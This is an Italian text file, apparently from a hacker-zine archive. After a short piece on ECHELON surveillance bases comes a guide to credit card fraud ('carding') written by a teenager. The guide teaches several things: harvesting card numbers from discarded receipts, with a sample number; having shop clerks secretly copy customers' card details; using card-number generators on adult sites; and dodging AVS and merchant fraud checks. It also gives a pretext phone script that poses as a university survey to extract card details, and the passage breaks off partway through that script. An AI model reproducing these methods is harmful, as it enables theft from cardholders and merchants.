Bags Bunny, Verisign, Secure, ASIO, Lebed, Ice, Lexis- Nexis, Flir, Jic, bce, Lacrosse, Flashbangs, IRA, DIA, BOP, BMDO; site, SASSTIXIS, benelux, SAS, Lander, AT, SHAPE, SABENA, GSM, Exon Shell.
DOVE SONO LE BASI TOP SECRET?
Le intercettazioni vengono fatte da cinque basi segrete, che orientano le enormi parabole sui satelliti di comunicazione Intelsat: la base neozelandese di Waihopai ancora sul Pacifico;
la base britannica di Morwenstow in Cornovaglia è puntata sui satelliti dell'Atlantico, dell'Europa e dell'Oceano Indiano; la base americana di Sugar Grove, in Virginia, intercetta quelli del nord e sud America; la base USA di Yakima, nello stato di Washington, punta sul Pacifico; la base australiana di Gerldton intercetta i satelliti dell'Oceano indiano. Una seconda rete di intercettazione è costituita dalle basi che captano le comunicazioni che transitano su altri satelliti(tra cui quelli russi): Menwith Hill in Inghilterra, Shoal Bay in Australia, Leitrim in Canada, Bad Aibling in Germania, Misawa in Giappone e la segretissima Pine Gap in Australia.
Un sistema di strutture che monitora direttamente le comunicazioni via terra è l'elemento finale del sistema ECHELON. Oltre alle comunicazioni satellitari e radio, esiste un altro modo per intercettare, ed è, quello di cavi sottomarini, che passano sotto gli oceani, e reti a microonde sulla terra ferma.
Pesanti cavi, posati nel fondo marino, si fanno carico delle comunicazioni internazionali mondiali.
Dopo che escono dall'acqua ed arrivano sulla terraferma le microonde divengono molto vulnerabili alle intercettazioni.
CHE SPERANZE ABBIAMO?
La libertà non è ancora completamente persa.
In altri dodici paesi della UE, il dibattito sui diritti dell'umanità, deve ancora iniziare. Qui' si tratta della libertà e della dignità dell'uomo - e ha solo poco a che fare con servizi informativi, sistemi di spionaggio modificati e sistemi di sorveglianza pienamente elettronizzati.
Siamo seduti su una bomba atomica - gigaherz incontrollabile della società informativa dell'avvenire.
Solo insieme possiamo disattivarla. Uniamoci e agiamo in nome della libertà e della democrazia!

LA GUIDA ITALIANA AL CARDING

Versione 2.1

by Screener_it

()

EMAIL DELL'AUTORE: **screener_it@freemail.it**

SITO UFFICIALE: **http://go.to/tankcommandos**

Scritta in un momento di delirio mentale (19 settembre)

Forse questo mondo è l'inferno di un altro pianeta **(Aldous Huxley)**

E allora noi saremo i diavoli **(Screener_it)**

()

Eccoci qui alla versione 2.1 della **GIC** (**G**uida **I**taliana al **C**arding).
Ricordo a tutti il xchè di questo nome: la guida non è italiana perchè la migliore in Italia (magari !!) ma perchè è una delle poche scritte in italiano da un italiano.. Quindi non crediate che il nome l'ho scelto a caso !!
E siamo arrivati alla versione 2.1 di questa guida, che nella sua prima versione ha avuto un successo pari a zero, ma che si è ripresa nella seconda versione con grinta. Ora siamo arrivati alla release 2.1. Perché 2.1 e non 3.0 ?
Perché non ci saranno cambiamenti radicali rispetto alla 2.0, ci sarà qualche aggiunta e qualche correzione ti tipo ortografico e qualche rivisitazione dei concetti..
Ma con la versione 2.1 non si esaurisce certo l'argomento, anzi come ho detto nelle precedenti edizioni: "..tenete d'occhio il sito dalla quale avete scaricato questa guida, perchè potete stare sicuri che ne usciranno nuove versioni.."
La distribuzione della presente guida è libera, pertanto potete pubblicarla sui vostri siti senza problemi.
Questa nuova versione è completamente rinnovata, sia come contenuti sia come impostazione.
Naturalmente non tutto il materiale contenuto in questa guida è di mia esclusiva proprietà mentale, la maggior parte comunque lo è, ma è stato scritto e pubblicato da altri, che tenterò di elencare nei ringraziamenti, se mi dimentico di qualcuno scrivetemi pure e aggiungerò il vostro nome.

DISCLAIMER:
Si ricorda a tutte le persone che entreranno in possesso di questa guida che la presente è stata scritta da un povero malato mentale (che sarei io) in preda a manie di grandezza.
Quanto leggerete quindi è frutto di pura fantasia ed è tutto puramente teorico. Nessuno, tantomeno l'autore (Screener_it) o chi distribuirà questa guida, può essere ritenuto responsabile dell'uso che ne verrà fatto.
L'autore comunque si dissocia da qualsiasi atto criminale, offensivo della morale comune o dannoso compiuto da persone che hanno letto questa guida.
Quanto scritto quindi è stato scritto quindi a scopo puramente informativo e/o scherzoso.
Ogni riferimento a cose e/o fatti reali è puramente casuale e non voluto.

AGGIUNTE RISPETTO ALLA GIC 2.0:
Sapete cosa sono le tre y ?
Cos'altro guardano i venditori ?
Correzioni ortografiche e di fondo a tutta la guida

INTRODUZIONE:
Ancora 20 giorni e poi me ne vado in Irlanda per 2 settimane… Qualcuno vuole seguirmi ? NO ??? Dai ragazzi, stiamo in casa famiglia, abbiamo le chiavi, possiamo entrare e uscire quando vogliamo..
Non ve ne frega niente ? Vabbè, io ci ho provato a convincervi..
Sono convinto che in fondo qualcuno interessato come me al carding ci deve essere.
Vediamo di cosa parleremo:

INDICE:

Carding.. Cos'è ?

Chi ha letto la prima versione della guida può passare oltre, credo che ormai abbia capito cos'è il carding. Per i nuovi vediamo di dare una definizione il più ampia e chiara possibile.

Il carding è l'arte di utilizzare carte di credito (dette anche **cc**) non propriamente nostre a nostro favore.

Per esempio per fare acquisti, abbonamenti a siti xxx, dimostrare di avere 18 anni, ecc..

Come fare a procurarsi una cc ?

Ci sono molti modi per procurarsi cc non nostre, in questa guida passeremo in rassegna i più importanti e farò un piccolo commento per ognuno.

Ma il carding è reato ?

Sì, il carding (utilizzare le carte di credito di altri) è un reato. E molto grave anche. Quindi attenzione. Non vorrete mica sporcarvi la fedina penale a 16 anni ? No, aspetta, sono io ad avere 16 anni.. Vabbè, fa lo stesso.

Ma è sicuro ?

Se prendete le giuste precauzioni il carding può essere anche abbastanza sicuro, ricordatevi comunque che stanno fregando la legge, quindi non crediate mai di essere sicuri.

Siate paranoici, controllate sempre tutto e non andate in giro dicendo cosa sapete fare. Agite nell'ombra. Mettete tutto ciò che riguarda il carding in posti sicuri, non tenetevi gli scontrini delle cc (vi spiegherò più avanti a cosa servono) nel cassetto del comodino !!!

Cosa sono le carte di credito ?

Questa può sembrare una domanda stupida, in realtà è molto intelligente e scommetto che il 99 % delle persone che sta leggendo questa guida non saprebbe rispondere correttamente e in modo completo.

La risposta di molti:

Quel pezzo di plastica con una striscia che serve per pagare merci e servizi.

Secondo voi è giusto ? Bhè, se ve lo chiedo vuol dire che tanto giusto non è. Cosa voglio dire ? Che è un affermazione falsa ? No, voglio semplicemente dire che è un affermazione vera solo in parte.

Infatti è vero, una carta di credito è un "pezzo di plastica" (evviva i termini tecnici) che serve per pagare, ma lo è anche una carta di debito.

'Spiega meglio 'sta storia delle carte di credito e delle carte di debito..

Ok. Come ben sai esistono le carte di credito. Ma esistono anche le carte di debito.
Esternamente sono simili, ma il loro uso è molto diverso.
Vediamo come sono fatte esternamente le carte di credito:
Sono di plastica e presentano due facce, una anteriore e una posteriore

- sulla faccia anteriore sono presenti:

- nome e cognome del titolare della carta
- il numero della carta di credito nel formato YYYY XXXX WWWW VVVV
- la data di scadenza
- nome ed eventuale logo dell'organizzazione che ha emesso la carta

- sulla faccia posteriore sono invece presenti:

- striscia magnetica nera che corre lungo tutto il dorso della carta
- firma del titolare della carta

Adesso vediamo come sono fatte le carte di debito:
Sono di plastica e presentano due facce, una anteriore e una posteriore

- sulla faccia anteriore sono presenti:

- nome e cognome del titolare della carta
- il numero della carta di credito nel formato YYYY XXXX WWWW VVVV
- la data di scadenza
- nome ed eventuale logo della banca che ha emesso la carta

- sulla faccia posteriore sono invece presenti:

- striscia magnetica nera che corre lungo tutto il dorso della carta
- eventuali loghi tipo "Bancomat", "Fast Pay", ecc.. Variabili comunque da carta a carta

Esternamente quindi carte di credito e carte di debito sono simili, quasi uguali.. Voglio però attirare la vostra attenzione su un particolare, non da poco, come vedremo poi.
Sulla faccia posteriore della carta di credito infatti è presente la firma del titolare, mentre sulla faccia posteriore della carta di debito non è presente la firma. E non è un particolare da poco. Anzi !!! Andiamo avanti e capiremo il perché.
Una nota per gli appassionati del genere: in Olanda e in Germania su alcune carte di credito è presente anche la foto del propietario. La foto non è incollata ma è stampata insieme alla carta, quindi non è modificabile. Quindi con le carte degli stranieri io eviterei di fare acquisti in negozi… Comunque vi spiegherò tutto più avanti..
Adesso che abbiamo visto le differenze fisiche delle due carte, adesso vediamone il funzionamento.

Immaginate di essere in un negozio, vicino alla cassa. Vedete una signora che va a pagare alla cassa con una carta di credito. La consegna alla commessa che passa la banda magnetica nel lettore e aspetta un po'... Dopo un po' sentirete un rumore provenire dalla macchinetta e vedrete che sta stampando uno scontrino. La commessa lo porge alla signora, che prende una penna e lo firma. Dopo di che la commessa consegna una copia dello scontrino alla signora e l'altra copia la tiene lei. Che fine facciano quei due scontrini lo vedremo poi.

Adesso sta andando alla cassa un'altra signora. Estrae una carta di debito e la consegna alla signorina che fa passare la banda magnetica della carta nel lettore della macchinetta. Poi porge alla signora un tastierino collegato alla macchinetta e chiede alla signora di digitare il PIN.

Dopo che la signora ha schiacciato su un paio di numeri esce fuori dalla macchina uno scontrino, di cui una copia viene data alla signora e l'altra la tiene la commessa.

Ricapitolando:
quando si paga con una carta di credito è necessario fare la firma sullo scontrino, e in teoria la firma dovrebbe essere confrontata con quella che c'è sul retro della carta, ma questo non succede mai.
Quando si paga con una carta di debito è necessario invece digitare un PIN per poter pagare con essa.
Differenza non da poco. Ditemi quanto ci vuole a fare una firma falsa.. Chi si fa le giustificazioni false a scuola lo sa, basta poco. Ora ditemi quanto ci vuole a trovare un PIN. Parecchio, vero ?

Carte di credito.. Un po' di info in più..

Allora.. Le carte di credito si dividono al loro interno in carte di credito bancarie e carte di credito T & T.

Carte di Credito Bancarie

Allora...Le carte di credito bancarie sono emesse dalle banche stesse e attestano l'esistenza di un fido concesso da una banca e assicurano la solvibilità dei loro titolari nei confronti degli esercizi commerciali che le accettano.
In parole povere ? Queste carte garantiscono la presenza di un conto corrente intestato al titolare della carta presso la banca che l'ha emessa.
Le carte di credito bancarie più diffuse (e accettate) sono la Bank Americard e la Carta SI, alla quale sono collegati i marchi VISA, EUROCARD e MASTERCARD. A parte rarissime eccezioni sono accettate anche all'estero.

Carte di Credito T & T

Queste sono in assoluto le carte di credito più accettate al mondo. Esse infatti sono emesse da organizzazioni parabancarie di grande importanza e peso. Quindi sono accettate anche all'estero
Essendo organizzazioni parabancarie i titolari delle carte di credito T & T non hanno presso le organizzazioni depositi in denaro, ma indicano all'organizzazione la banca e il conto corrente da dove possono prelevare.
In genere queste carte consentono ai loro possessori possibilità di spesa MOLTO alta.
Queste carte di credito richiedono una quota annua associativa (si parte in media da un minimo di 50.000 £ annue).
Le più diffuse sono il Diners Club International e l'American Express.

Carte di debito.. Un po' di info in più..

Come vedete sta venendo fuori un cesso, perché voglio parlarvi allo stesso passo sia delle carte di credito che delle carte di debito, al contrario nella versione 1 della guida avevo completamente saltato le carte di debito, reputando che erano di scarso interesse.. Spero di dovermi ricredere..

Le carte di debito sono emesse da banche che hanno presso di loro un conto corrente intitolato al titolare della carta di debito e quindi ne assicurano la solvibilità (garantiscono insomma di pagare le operazioni svolte dal titolare della carta).
Quasi mai viene richiesta una quota associativa, le operazioni vengono addebitate direttamente sul conto corrente del titolare della carta, sotto la voce Pagamento POS e valuta in giornata (questo per chi come me fa' anche economia aziendale).
Sono molto meno accettate delle carte di credito, e comunque sempre a livello nazionale, non mi risulta che siano accettate anche all'estero.
Permettono anche di fare prelievi in contanti presso gli sportelli Bancomat della banca che l'ha emessa o presso una banca che ha accordi con quella emittente.
La carta di debito più diffusa è il BANCOMAT, risultato di un accordo fra quasi tutte le banche. Infatti tramite il Bancomat credo che si possa prelevare presso tutti gli sportelli Bancomat, anche se di un'altra banca. Sempre se sapete il PIN della carta.

Ma il codice delle carte di credito/debito da dove deriva?

Altra domanda che può sembrare stupida, ma invece è molto intelligente..

Infatti c'è gente che crede i codici delle carte di credito/debito sono in ordine crescente.. Non fate facce stupide, dicendo: "Che gente che c'è a questo mondo.." xchè magari lo credevate anche voi fino a poco tempo fa.
Comunque il codice delle carte di credito/debito, quello in formato YYYY XXXX WWWW VVVV, deriva da un algoritmo. Un momento, mettiamo i puntini sulle i. Le prima quattro cifre (in questo caso YYYY) identificato il tipo di carta e la banca di appartenenza.
Ad esempio il 4052 identifica un VISA emessa dalla First Bank di Cincinnati.
Le altre 12 cifre (divise in gruppi da 4 cifre l'uno) sono il risultato di un algoritmo, come dicevamo prima.
Cosa cazzo è un algoritmo ?
Un algoritmo è una o più operazioni matematiche che può servire a varie cose. Può servire a criptare messaggi, oppure a verificare se una carta di credito è valida.
Non so se avete capito.. Vi faccio un esempio di algoritmo con due cifre. L'algoritmo è X = Y+1.
Secondo questo algoritmo il primo numero deve essere maggiore di 1 rispetto al secondo. Quindi 5 4 rispetta questo algoritmo, 4 4 non rispetta l'algoritmo.
Stessa cosa, ma in modo molto più complicato e lungo (devono applicarlo a 12 cifre) per le carte di credito.
Capito adesso ?
Quindi non andate nei siti porno e provare numeri a caso dove dovreste inserire il numero della cc, perché per beccare un numero che rispetti l'algoritmo dovreste avere un culo enorme !!! Ovvio, se ce la fate bravi e fortunati voi, ma è stato solo un caso, se provate di nuovo non è detto che ce la facciate.
Comunque ricordatevi una cosa: gli algoritmi DOVREBBERO essere segreti, ma non lo sono e potete trovare comodamente programmi che conosco già l'algoritmo della VISA, dell'AMERICAN EXPRESS, della MASTERCARD e via dicendo, e che semplicemente cliccando su Generate vi danno numeri di cc TEORICAMENTE validi... Comunque di questo ne parleremo più avanti.

Ok, mi pare che la teoria fino a qui possa bastare.. Adesso passiamo al carding vero e proprio.. Ricordate però che l'argomento sarebbe molto più ampio da trattare e quindi non crediate di sapere tutto solo leggendo queste poche righe. Anzi !! Questa guida vuole essere proprio un invito ad avventurarsi nel mondo di carding, che secondo me è scarsamente trattato qui in Italia, ma neanche in America è molto trattato, nonostante siano molto più avanti di noi.

Quali sono gli strumenti di ogni buon "cardatore" (di colui che fa carding) ?

Bhè, per fare carding serve molto poco, praticamente niente. Basta una guida al carding (questa qui va più che bene:-) e un bel po' di intelligenza e di furbizia. Ecco il motivo per cui io non sono per niente un buon cardatore :-P
Ricordate che per essere dei buoni cardatori servono anche buone conoscenze tecniche e buona conoscenza dei vari tipi di cc., quindi studiate, studiate e studiate [anche se secondo me materiale riguardante il carding ce né poco !!].

Ok, ho letto tutta la parte teorica.. Cominciamo la pratica ?

Calmi ragazzi, calmi.. Adesso cominciamo la parte pratica.. In che cosa consiste la prima parte della pratica ? Ma nel procurarsi il codice di una carta di credito !!! Non il codice di una carta di debito, perchè non ce ne facciamo nulla, sia perché serve il PIN, sia perché non possiamo utilizzarla via Internet.. Quindi da adesso in poi ci occuperemo SOLO di carte di credito. Le carte di debito le lasciamo di nuovo stare.. Forse nella prossima guida..

Sapete cosa sono le tre Y ?

Questa è una sezione aggiunta nella release 2.1 ma che è stata una mia enorme pecca non scrivere…
Qui infatti parleremo del sistema AVS. Che cazzo è 'sto sistema AVS ? Bhè, diciamo che è la migliore arma dei commercianti per difendersi dalle truffe via Internet da parte di noi cardatori.. Per fortuna è ancora (relativamente) poco diffuso, ma sono sicuro che si diffonderà presto con grande rischio da parte nostra..
Allora, vogliamo parlare o no di AVS ?
AVS sta per Address Verification Service. Ne sapete tanto che prima, vero ? Più che un sistema, l'AVS è una procedura di controllo..
Infatti tramite l'AVS si controlla se l'indirizzo fornito dall'acquirente è effettivamente corrispondente a quello del possessore della carta di credito: la procedura deve fornire una risposta con Y (yes, yes, yes): il primo per l'indirizzo postale, il secondo per il codice di avviamento postale, il terzo per il corretto abbinamento di entrambi..
Ho sentito qualcuno gridare:" Merda !!!!!!!!!". E non gli dò torto.

Cos'altro guardano i venditori ?

Dato che chi vende in Internet non è stupido e ci sono delle cose che possono insospettire chi vende e spingerlo a fare ulteriori accertamenti.. Quali sono questi famosi campanelli d'allarme ? Bhè, eccovene una piccola lista:

- Un grosso acquisto di merce, soprattutto se di generi molto di moda fra i giovani. Parliamo quindi di materiale sportivo, giochi PC, ecc…
- Nomi a cui sono stati intestati la email e la carte di credito differenti.
- Indirizzi email sbagliati (inesistenti, cancellati, ecc.…)
- Ripetuti tentativi di presentare un ordine (non provate più di una cc se la prima non va).
- Codice di risposta AVS diverso da YYY.

Allora.. Riguardo al primo c'è poco da dire.. Evitate i grossi acquisti (superiori insomma alle 200.000 £). Poi.. Createvi una email con nome simile a quello della cc (se ad esempio la carta di credito è intestata a Gianni Verdi voi fatevi un'email gianver@yahoo.it, capito il concetto ?). Date quindi indirizzi email esatti, ma non controllate spesso quella casella email, potrebbero esserci trappole. Per il resto non mi pare ci sia niente da aggiungere..

Ma come faccio a procurarmi il codice di una carta di credito ?

Esistono molti metodi.. Adesso ne passeremo in rassegna qualcuno..
Il metodo secondo me migliore è quello del trashing, logicamente è il mio preferito.. Ma parleremo anche di altri metodi, evidenziandone i vantaggi e gli svantaggi..

METODO 1: *Trashing*
Oddio, che è 'sto trashing ? Molti di voi già sanno cos'è il trashing, altri non hanno nemmeno la più pallida idea di cosa sia ma l'hanno fatta decine di volte, i restanti non sanno cos'è né l'hanno mai fatto..
Trashing deriva da "trash", spazzatura in inglese. E che ne facciamo noi della spazzatura ?
Forse non sapete che frugando nella spazzatura di una persona si possono scoprire molte persone su di essa, sulle sue abitudini.. E' un compito un po' ingrato, ma dà dei risultati non da poco.
Pensate a cosa potete trovare nella spazzatura di una persona.. Bottiglie, cartoni di latte, sacchetti di biscotti, cartacce, appunti, scontrini..
Appunti e scontrini.. Molta gente li butta via senza avere la premura di distruggerli.. Gli scontrini, per chi sa leggerli sono molto interessanti.. Vediamo come fare..
Facciamo un passo indietro.. Vi ricordate cosa succede quando si paga con una carta di credito ? Si deve firmare uno scontrino, di cui una copia va' al negoziante e l'altra resta al titolare (vero o presunto) della cc.
Ora, cosa succede a quegli scontrini ? Bhè, la copia che resta al negoziante è off-limits. Infatti il povero commerciante deve tenerla per ALMENO 3 mesi per eventuali controlli, proteste, ecc..
L'altra copia, quella che prende il titolare della cc, invece ha sorte molto diversa. Infatti l'utente non è tenuto a tenerla per un determinato periodo, per controlli o l'altro. Può farlo, ma il 99 % delle persone butta via lo scontrino o appena fuori dal negozio oppure appena a casa.
E a noi che ne frega dello scontrino ? A noi non interessa il codice della cc ? Sì, a noi interessa il codice.. Come ce lo procuriamo è indifferente.. Potremmo leggerlo direttamente dalla carta oppure leggerlo sullo scontrino.. COSA ??? Il codice è scritto sullo scontrino ? Certo !!!! Basta saperlo trovare.. Vi faccio uno schema con uno scontrino che ho preso un paio di giorni.. Ovviamente i dati sono modificati (in particolare il numero della carta) ma a voi quello che importa c'è !!

S.I.	<====== **TIPO DI CARTA DI CREDITO**
Esso 3434 D 1	<======NOME DEL NEGOZIO DOVE E' AVVENUTO IL PAGAMENTO
via Nazioni Unite	<======INDIRIZZO DEL NEGOZIO
20100 MILANO	<======INDIRIZZO DEL NEGOZIO
Eserc. Stab. Cassa Pen	<======TIPO DI NEGOZIO
3012435 00002 001 000	<======NUMERO DEL TERMINALE
17/06/00 09.49 00002	<======DATA E ORA DELL'OPERAZIONE
4935940025486161 09/01	<======**NUMERO DELLA CC CON DATA DI SCADENZA**
NOP CONTR 799 AUT 097777	<======NUMERO AUTORIZZAZIONE
IMPORTO LIRE 45.300	<======IMPORTO DELL'OPERAZIONE IN LIRE
PARI A EURO 23,40	<======IMPORTO DELL'OPERAZIONE IN EURO

.... <======**FIRMA DEL TITOLARE DELLA CARTA**
Firma/Signature

Grazie e Arrivederci <======FORMULA DI COMMIATO

Questo è un normalissimo scontrino che esce dalle "macchinette" [terminali POS sarebbe comunque il termine più corretto], non è speciale, non l'ho inventato io, ho modificato un paio di dati per salvaguardare il mio lavoro, ma lo scontrino è esattamente come l'ho riportato !!!
Ho messo una legenda a lato per aiutarvi a capire il significato delle varie righe, naturalmente non sono sicuro che siano tutte giuste, se vedete sbagli e volete aiutarmi contattatemi pure (screener_it@freemail.it).
Tornando ai fatti "nostri"... Sono sicuro che le prime due scritte in neretto sta solleticando la vostra attenzione.. Tipo di Carta di Credito e numero della CC (con data di scadenza).
Nel primo caso al posto di S.I. potrete trovare EDC/MAESTRO, AMERICAN EXPRESS, VISA, ma il discorso non cambia.
Il numero della cc con data di scadenza invece potrebbe trarvi in inganno... Le carte di credito infatti non hanno 16 cifre ? E allora lì perchè sono 20 con a un certo punto una sbarra ? Semplice (credo che l'abbiano capito tutti).
Le ultime quattro cifre " 09/01 " è la data di scadenza della carta, settembre 2001.
Il resto, vale a dire 4935940025486161 è il numero vero e proprio della carta.. Ma scusa, il codice della carta non è in formato YYYY XXXX WWWW VVVV ? Qui è tutto un numero.. Ragazzi, un po' di fantasia !!! Aggiungete un paio di spazi ed avete il numero della vostra prima carta SI rubata.. O sarebbe più corretto dire cardata ? Comunque sia:

CARTA SI 4935 9400 2548 6161 scadenza settembre 2001.

Cosa volete di più dalla vita ?
Se magari riuscite a leggere la firma del titolare (che DEVE esserci) avete anche il nome e cognome del titolare della cc. Praticamente come averla in mano.
Adesso qualcuno di voi si pone una domanda che stavolta è VERAMENTE stupida.. Come procurarsi gli scontrini delle carte di credito ? Non credo che basta chiederli..
Avete ragione, chiederli non conviene (io non ho mai provato, voi non provate e poi ditemi :-). E allora come fare ?
Di cosa stiamo parlando? Di trashing.. E allora ? Potete trovare gli scontrini nei bidoni vicini ai negozi, per terra nei centri commerciali, potete trovarli per strada [entro un 100/200 metri dai centri commerciali e dai negozi c'è una vera miniera di scontrini !!].. Usate la fantasia. Forse il trashing non è un lavoro pulito, ma è comodo..
Se volete proprio fare i puliti mettetevi davanti a un negozio dove passano tante persone e aspettate che qualcuno butti per terra uno scontrino e raccoglietelo al volo.. Logicamente senza attirare troppo l'attenzione !!
Se per caso vi beccano a frugare nella spazzatura inventate delle scuse.. Se vi becca una vecchia potete semplicemente andarvene, senza bisogno di dirle niente, se invece si tratta di un poliziotto o di un adulto inventate (meglio, preparatevi qualche scusa prima). Se vi beccano a frugare nei bidoni dite che avete perso il portafoglio (scusa vecchia, ma funziona sempre), se vi beccano mentre raccogliete da terra uno scontrino potete dire che state cercando un foglietto su cui avete scritto un importante numero di telefono oppure che lo raccoglievate per buttarlo via. Non preoccupatevi troppo se vi becca un poliziotto.. In fondo per cosa potrebbe arrestarvi ? Per tentata raccolta di uno scontrino ? Ma fatemi il piacere !! Chi vi porterebbe in questura per accertamenti per "raccoglimento abusivo di cartacce" ????

METODO 2: *Il giovane commesso* :-)
Premetto che questo metodo l'ho trovato io, non l'ho copiato da nessuno.. Se magari qualcuno l'ha trovato prima di me non lo so, comunque è tutta farina del mio sacco, tutta esperienza..
Dunque.. Vi ricordate della storia di prima, quella dello scontrino ? Una copia và al titolare della cc, l'altra va' al negoziante.. Che fine faccia la copia che riceve il titolare della cc l'abbiamo già visto sopra, il negoziante, come ho già detto, deve tenerla per almeno 3 mesi..
Ma pensate di essere voi il negoziante.. Avreste libero accesso a tutti gli scontrini, che contengono le stesse informazioni di quello consegnato al cliente [vedi scherma precedente].
Potremmo prendere il codice della carta, la data di scadenza e tutto il resto con ancora maggiore facilità !!
Impossibile dite ? Ecco come fare. E' tutto sperimentato e fattibile, non ci sono balle o operazioni impossibili.
Siete alla cassa, vi fate consegnare la cc dal cliente e la passate normalmente nel lettore per il pagamento, digitate l'importo e attendente l'arrivo dello scontrino. Fin qui tutto normale.
Ora viene il bello. Non il difficile, perché invece è facilissimo.
Normalmente dopo aver fatto passare la carta il commesso può fare due cose:

1.- Riconsegnare la cc al cliente
2.- Mettere la cc sul tavolino con il dorso (dove c'è la firma) rivolto verso l'alto, per controllare la corrispondenza della firma.

Noi invece faremo una cosa diversa. Dopo aver fatto passare la carta la metteremo sul tavolino con la faccia anteriore rivolta verso l'alto. Dato che sulla faccia anteriore sono impressi nome e cognome del cliente voi dovete riuscire a leggere nome e cognome e dovete riuscire a imprimerli nella mente. Dovete tentare di ricordali.
Appena esce lo scontrino fatelo firmare al cliente, consegnateli la sua copia e poi..
Senza farvi notare prendete carta e penna e scrivere subito il nome e cognome di quel cliente, poi prendete lo scontrino e trascrivetevi il numero della cc e la data di scadenza.
Invece di trascrivere il numero della cc e la data di scadenza potete "fregarvi" direttamente lo scontrino, tanto se manca uno scontrino non se ne accorgono mica.. Se cominciamo a mancarne di più magari potrebbero dire qualcosa, quindi siate ragionevoli e non ingordi. Uno scontrino al giorno al massimo !!

Questo sistema è praticamente il più perfetto e sicuro che attualmente esista, è meglio del furto (vedremo poi il perché), l'unica difficoltà consiste nella diffidenza del cliente. Alcuni infatti appena mettete la carta sul tavolo la girano (brutti str..), mentre altri se la riprendono proprio.
Altri invece continuano a spiarvi lo sguardo e appena vedono che state guardando la loro carta di credito vi lanciano un'occhiata da far paura (sto tremando..!!) oppure si potrebbero mettere a chiedervi perché guardavate la carta.. Per fortuna a me la seconda non è mai capitata, ma credo che sarebbe abbastanza imbarazzante la faccenda. Comunque se riuscite a conservare il sangue freddo (difficile in queste situazioni) potete dire che non stavate guardando la carta (scusa vecchia e prevedibile, forse questa è meglio non usarla) oppure potete dire che stavate guardando se era un bancomat o una carta di credito perché il lettore l'ha riconosciuta come carta di credito ma vi pareva fosse un PagoBancomat (o cose del genere..
Fingete di essere inesperti, non mettetevi a fare discorsi sul carding :-)

METODO 3: *generatori automatici*
Cosa sono i generatori automatici ?
Sono dei semplici programmi che semplicemente cliccando un tasto vi forniscono il numero di una carta di credito di qualsiasi tipo vogliate (VISA, AMERICAN EXPRESS, ecc..).
Come fanno ? Semplice. Questi programmi contengono anche gli algoritmi delle varie aziende paranbancarie e tramite questi forniscono i codici di possibili loro carte credito.
Secondo me i migliori sono ARKS FAC e CREDIT PROBE. (vedi FAQ)
Molte persone dell'underground (o gente che si considera da sola facente parte dell'underground italiano) dicono che i generatori automatici di cc sono inutili, lamerosi, e via dicendo..
Altri invece dicono che sono sicuri, comodi, utili per gli acquisti on line e via dicendo.
Io come al solito mi piazzo nel mezzo. Questi generatori automatici in genere danno solo numeri di cc solo AMERICANE.
In più c'è il problema delle probabilità. Le possibili carta di credito ad esempio della VISA (i numeri di cc che sarebbero validi secondo il loro algoritmo insomma) sono milioni, ma quelle attive invece sono molte meno. Quindi potreste trovarvi con un numero di carta sì valido, ma non attivo. Acquisti on line con queste non ne fate neanche da morti.
Quindi sono inutili questi generatori automatici ? No, sono anche utili.
Infatti molti siti xxx (siti porno, insomma) quando digitate il numero della "vostra" (ottenuta con i generatori automatici) carta di credito controllano solo la validità dell'algoritmo e non controllano che sia attiva o meno.
Allora ? Sì, questi programmi possono essere utili. Ma solo in determinate occasioni e solo con determinati utilizzi.

METODO 4: *Il social engeering*
Chi ha letto la versione 1 di questa guida ha già letto questo metodo. Bene. Ma forse è meglio che adesso lo rileggete tutti perché l'ho leggermente modificato, rendendolo più utilizzabile.
Cos'è il social engeering ? Bhè, le definizioni possono essere tante, alla fine dei conti si tratta di spacciarsi per qualcun'altro per recuperare informazioni private.
Il social engeering è strettamente legato al telefono e a Internet, che sono i due mezzi per eccellenza dove per comunicare basta la voce (o una tastiera) e non c'è nessun contatto personale. Tramite questi mezzi insomma potete spacciarvi tranquillamente per chiunque.
Per questa volta mettiamo da parte Internet, e vedremo come recuperare i numeri di una carta di credito tramite un telefono.
Che cosa ci serve ?
1.- Un telefono pubblico abbastanza appartato
2.- Una voce calma senza tremoli

3.- Sangue freddo
4.- Un piano ben congegnato

Perché un telefono pubblico e perché appartato ? Perché nel disgraziato caso qualcosa vada male è difficile che risalgano a voi se usate un telefono pubblico, se usate il telefono di casa o il cellulare vi trovano in 3 secondi !!
Deve essere appartato perché non è proprio il massimo mettersi a parlare di cc al telefono in mezzo a una piazza.
Una voce calma senza tremoli.. Perché la nostra vittima non deve avere dubbi riguardo alla nostra identità e dobbiamo essere rassicuranti e convincenti.
Sangue freddo.. Dovete rimanere tranquilli anche se la faccenda prende pieghe non previste (serie di domande da parte della vittima che non avevate previsto, ecc..).
Un piano ben congegnato.. Dovete cercare di scrivervi prima cosa direte al telefono e prevedere ogni piega della discussione e prepararvi piani di "fuga".
Non sbattete mai il telefono in faccia se qualcuno comincia a fare troppe domande ma cercate di defilarvi e di salutare per non fare venire dubbi in nessun caso.
Stavolta il piano si dividerà in due fasi. Una di approccio e una di azione vera e propria.
Prendete l'elenco telefonico e prendete la prima persona che vi capita. Evitate dottori, avvocati, ingegneri, ecc..
Prendete di mira persone normali.
Nella prima telefonate dovrete ottenere delle informazioni riguardo alla persona, che non conoscete per niente. Dovete scoprire se e in caso che tipo di carta di credito possiede e se possiede un accesso a Internet.
Ma non dovete dirlo direttamente altrimenti vi sgamano subito.
Eccovi un esempio di conversazioni di approccio.
S = Screener_it
P = Pirla qualsiasi

P = Pronto ?
S = Buongiorno. Parlo con il signor xxx ? (al posto di xxx il nome che avrete trovato sull'elenco)
P = Sì, desidera ?
S = Chiamo per conto dell'università di (la più vicina che c'è). Stiamo svolgendo una ricerca su 80 gruppi famigliari della zona per avere un quadro del livello di tecnologia in uso dalle famiglie. Le ruberò solo un paio di minuti
(mi raccomando, voce calma, non abbiate fretta, ecc..).
P = Va bene, mi dica pure.
S = Per prima cosa.. Di quante persone è composto il suo gruppo familiare ? Quanti figli ha ?
P = ... (a noi che ce ne frega ?)
S = Bene. Ha un PC a casa ? Se sì chi li usa ? Lei, i figli o il suo/la sua partner.
P = ... (che rogna)
S = Ha un accesso a Internet ? Se sì con provider (tin.it, tiscalinet.it, ecc..)
P = Sì, con tin.it
S = Ha o usa una carta di credito ?
P = Sì, ho una VISA. (se vi dice il tipo è meglio, altrimenti faremo diversamente).
S = Ha mai fatto compere via Internet ? Se sì di che tipo ? Materiale informatico, libri, oggettistica varia ?
P = Sì, ho comprato un paio di libri.. (come se me ne fregasse)
